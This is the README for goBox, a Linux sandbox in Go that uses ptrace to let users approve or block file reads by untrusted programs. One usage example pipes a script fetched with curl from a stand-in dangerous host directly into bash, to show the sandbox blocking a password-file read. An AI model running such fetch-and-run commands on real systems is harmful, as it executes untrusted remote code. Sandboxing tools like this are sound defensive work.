用于运行不可信代码的 GO 沙箱。
goBox 使用 Ptrace 挂钩 READ 系统调用,让你可以选择在执行前接受或拒绝系统调用。
Usage of ./gobox:
gobox [FLAGS] command
flags:
-h Print Usage.
-n value
A glob pattern for automatically blocking file reads.
-y value
A glob pattern for automatically allowing file reads.
> gobox -n "/etc/password.txt" npm install sketchy-module
BLOCKED READ on /etc/password.txt
> gobox -n "/etc/password.txt" bash <(curl https://danger.zone/install.sh)
BLOCKED READ on /etc/password.txt
当然你可以使用 strace,但它引用的是文件描述符,而 goBox 通过打印文件描述符的绝对路径,让你一眼就能看出文件读取情况。
> gobox ls
Wanting to READ /usr/lib/x86_64-linux-gnu/libselinux.so.1 [y/n]
注意:加密所有敏感数据绝对是更好的主意,goBox 可能只应在加密不方便或不切实际时使用。
注意:我没有为跨平台兼容性做任何努力,所以它目前只适用于 Linux。我很乐意接受补丁来改进可移植性。